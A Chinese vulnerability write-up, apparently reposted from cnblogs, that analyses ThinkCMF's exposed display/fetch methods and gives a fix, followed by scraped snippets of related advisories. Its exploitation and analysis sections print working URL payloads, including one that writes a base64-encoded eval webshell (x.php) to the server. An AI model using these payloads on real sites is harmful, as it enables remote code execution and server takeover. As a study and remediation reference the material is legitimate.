ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

ThinkCMF框架任意内容包含漏洞分析复现

0x00 简介



ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

0x01 漏洞概述



攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的。

0x02 影响版本



ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3

0x03 环境搭建



本次使用的环境版本是2.2.3,直接放到phpstudy的目录下,访问路径/ThinkCMFX/发现ThinkCMF很人性化的加载了安装向导,因此按照它的步骤一步一步来即可(2.2.3版本安装包获取方式:qq1994249788)

填写好数据库密码以及管理员信息(phpstudy的数据库默认密码为root)

继续下一步,环境搭建成功如图所示

0x04 漏洞利用



第一种
通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件
phpinfo版payload如下:

?a=fetch&templateFile=public/index&prefix=‘‘&content=<php>file_put_contents(‘test.php‘,‘<?php phpinfo(); ?>‘)</php>

执行payload,页面是空白的

访问test.php,可以看到phpinfo已经加载出来

第二种
通过构造a参数的display方法,实现任意内容包含漏洞
payload:

?a=display&templateFile=README.md

0x05 漏洞分析



首先打开index.php文件,看一下程序的项目路径,如下显示项目路径在application目录下

在项目路径下找到入口分组的控制器类选择IndexController 控制器类打开

可以看到这里IndexController类中只有一个方法display方法,那么看一下父类HomebaseController文件,根据ThinkPHP框架规则,可以通过g\m\a参数指定分组\模块\方法,这里可以通过a参数直接调用Portal\IndexController父类(HomebaseController)中的一些权限为public的方法。

这边有问题的是display函数和fetch函数:
display函数的作用是加载模板和页面输出,所对应的参数为:
templateFile模板文件地址,charset模板字符集,contentType输出类型,content输出内容。

templateFile参数会经过parseTemplate函数处理,判断模板是否存在,当模板不存在时会在当前目录下开始查找,这里可以配合一处上传形成文件包含。最终形成的payload :

index.php?a=display&templateFile=README.md

fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀。利用时templateFile和prefix参数可以为空,在content参数传入待注入的php代码即可名字是x.php 密码是C的一句话木马,最终形成的payload:

http://127.0.0.1/ThinkCMFX_2.2.3/?a=fetch&templateFile=public/index&prefix=‘‘&content=<php>file_put_contents(‘x.php‘,base64_decode("PD9waHAgZXZhbCgkX1BPU1RbIkMiXSk7Pz4="))</php>

0x06 修复方式



将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

原文地址:https://www.cnblogs.com/kuaile1314/p/11743937.html

时间: 2024-08-19 14:41:35

ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)的相关文章

ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)

1.漏洞概述 攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的 2.影响版本 ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1(我用的是这个) ThinkCMF X2.2.2 ThinkCMF X2.2.3 3.安装 赋予权限 4.安装系统 安装成功进入主页 Poc /?a=display&templateFile=README.md /?a=fetch&templateFi

ThinkCMF框架任意内容包含

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展.每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作.在这种运行机制下,开发商场应用的用户无需关心开发SNS应用如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本.影响版本

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

0x00 简介 影响版本:4.8.0--4.8.1 本次实验采用版本:4.8.1 0x01 效果展示 payload: http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 0x02 漏洞分析 漏洞产生点位于:index.php文件54-67行 可以看到如果要包含文件成功,必需条件有5个: 1.不为空 2.字符串 3.不以index开头 4.不在$target_blackli

【CVE-2020-1938】Tomcat AJP 任意文件读取和包含漏洞分析记录

0x00 前言 2020年2月20日傍晚,在某群看到有群友问CNVD的tomcat文件包含漏洞有什么消息没 接着看到安恒信息应急响应中心公众号发了个漏洞公告 随后chy师傅也在群里发了个阿里云的公告链接 根据安恒和阿里云公告给出的信息我们知道是tomcat ajp服务出了问题,但具体是哪里出了问题却不知道.(这个时候我就在想阿里云是怎么知道ajp服务出了问题的呢? 以tomcat7为例给出的修复版本是100,遂去github看commit,看100版本release之前的commit记录. 0x

thinkphp 5.x~3.x 文件包含漏洞分析

漏洞描述: ThinkPHP在加载模版解析变量时存在变量覆盖的问题,且没有对 $cacheFile 进行相应的消毒处理,导致模板文件的路径可以被覆盖,从而导致任意文件包含漏洞的发生. 主要还是变量覆盖的问题. 漏洞范围: 漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 .5.1.0<=ThinkPHP<=5.1.10 本地复现环境: tp5.0.15   php version :7.0.12 <?php namespace app\index\contro

DVWA系列之14 文件包含漏洞分析

程序开发人员通常会把可重复使用的函数写入到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含.程序开发人员都希望代码更加灵活,所以通常会将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞. PHP中提供了四个文件包含的函数,分别是include().include_once().require()和require_once(),它们的区别如下: require找不到被包含的文件时会产生

[CVE-2017-5487] WordPress &lt;=4.7.1 REST API 内容注入漏洞分析与复现

不是很新的漏洞,记录下自己的工作任务 漏洞影响: 未授权获取发布过文章的其他用户的用户名.id 触发前提:wordpress配置REST API 影响版本:<= 4.7 0x01漏洞复现 复现环境: 1) Apache2.4   2) PHP 7.0   3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载) 确认 Httpd-conf  Allowover All Exploit: https://w

CVE-2017-7269—IIS 6.0 WebDAV远程代码执行漏洞分析

漏洞描述: 3月27日,在Windows 2003 R2上使用IIS 6.0 爆出了0Day漏洞(CVE-2017-7269),漏洞利用PoC开始流传,但糟糕的是这产品已经停止更新了.网上流传的poc下载链接如下. github地址:https://github.com/edwardz246003/IIS_exploit 结合上面的POC,我们对漏洞的成因及利用过程进行了详细的分析.在分析过程中,对poc的exploit利用技巧感到惊叹,多次使用同一个漏洞函数触发,而同一个漏洞同一段漏洞利用代码